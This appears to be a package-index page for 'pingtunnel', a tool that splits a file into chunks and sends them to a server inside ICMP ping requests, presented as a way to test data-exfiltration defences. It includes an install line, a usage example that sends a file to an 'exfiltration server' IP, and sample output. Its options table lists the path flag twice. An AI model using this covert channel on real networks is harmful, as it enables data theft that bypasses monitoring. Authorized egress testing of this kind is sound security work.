Skip to main content

Test possible data exfiltration through ping requests

Project description

Disclaimer

Usage of this tool for educational or authorized use only and at your own responsibility.

Description

Test possible data exfiltration through ping requests

Installation

pip install pingtunnel

Usage

From command line:

python -m pingtunnel --path PATH --target TARGET --interval INTERVAL

Option Short Type Default Description
--path -p String - Path to file to be exfiltrated
--path -p String - IP of exfiltration server
--interval -i Float 1.0 Nr of seconds between pings

Example

python -m pingtunnel -p ./example.jpg -t 10.10.10.10

  • Make sure to use tcpdump or wireshark on the exfiltration server in order to capture the ping requests
################################################################################

pingtunnel by 5f0
Test possible data exfiltration through ping requests

Current working directory: path/to/pingtunnel

Datetime: 01/01/1970 10:11:12

################################################################################

Status
---
    Exfiltration Server: 10.10.10.10
 File to be exfiltrated: ./example.jpg

  Total Number of Bytes: 1094
Number of Ping Requests: 35.0
 Interval between Pings: 1.0 seconds


Execution
---
-> Split ./example.jpg in 35.0 chunks
-> Send chunks


--> Transmission successful!

################################################################################

Execution Time: 0.014563 sec

License

MIT

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pingtunnel-1.1.0.tar.gz (3.7 kB view hashes)

Uploaded Source

Built Distribution

pingtunnel-1.1.0-py3-none-any.whl (4.5 kB view hashes)

Uploaded Python 3

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page